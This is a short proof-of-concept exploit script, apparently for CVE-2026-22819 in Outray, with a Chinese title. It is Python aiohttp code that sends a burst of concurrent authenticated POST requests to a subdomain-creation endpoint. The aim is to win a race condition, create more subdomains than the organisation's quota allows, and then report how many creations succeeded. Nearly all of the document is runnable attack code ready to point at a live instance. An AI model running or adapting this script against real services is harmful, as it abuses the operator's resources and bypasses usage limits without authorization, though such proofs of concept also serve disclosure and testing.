CVE-2026-22819 Outray 子域名配额竞态条件漏洞

# CVE-2026-22819 PoC - Outray Subdomain Quota Race Condition # This PoC demonstrates the race condition vulnerability in Outray's subdomain allocation import asyncio import aiohttp import json async def create_subdomain(session, base_url, org_slug, token, index): """Send a single subdomain creation request""" url = f"{base_url}/api/{org_slug}/subdomains" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } data = { "name": f"test-subdomain-{index}", "target": f"http://localhost:{8000+index}" } try: async with session.post(url, headers=headers, json=data) as response: return { "index": index, "status": response.status, "response": await response.json() if response.status == 200 else await response.text() } except Exception as e: return {"index": index, "error": str(e)} async def exploit_race_condition(base_url, org_slug, token, num_requests=10): """ Exploit the race condition to obtain more subdomains than allowed. In a properly secured system, only the quota-limited number of subdomains should be created. """ async with aiohttp.ClientSession() as session: # Create multiple concurrent requests to trigger race condition tasks = [ create_subdomain(session, base_url, org_slug, token, i) for i in range(num_requests) ] results = await asyncio.gather(*tasks) # Analyze results successful = [r for r in results if r.get("status") == 200] print(f"Total requests: {num_requests}") print(f"Successful creations: {len(successful)}") print(f"Failed requests: {len(results) - len(successful)}") return results # Example usage if __name__ == "__main__": BASE_URL = "https://your-outray-instance.com" ORG_SLUG = "your-org" TOKEN = "your-auth-token" # Launch concurrent requests to exploit the vulnerability asyncio.run(exploit_race_condition(BASE_URL, ORG_SLUG, TOKEN, num_requests=20))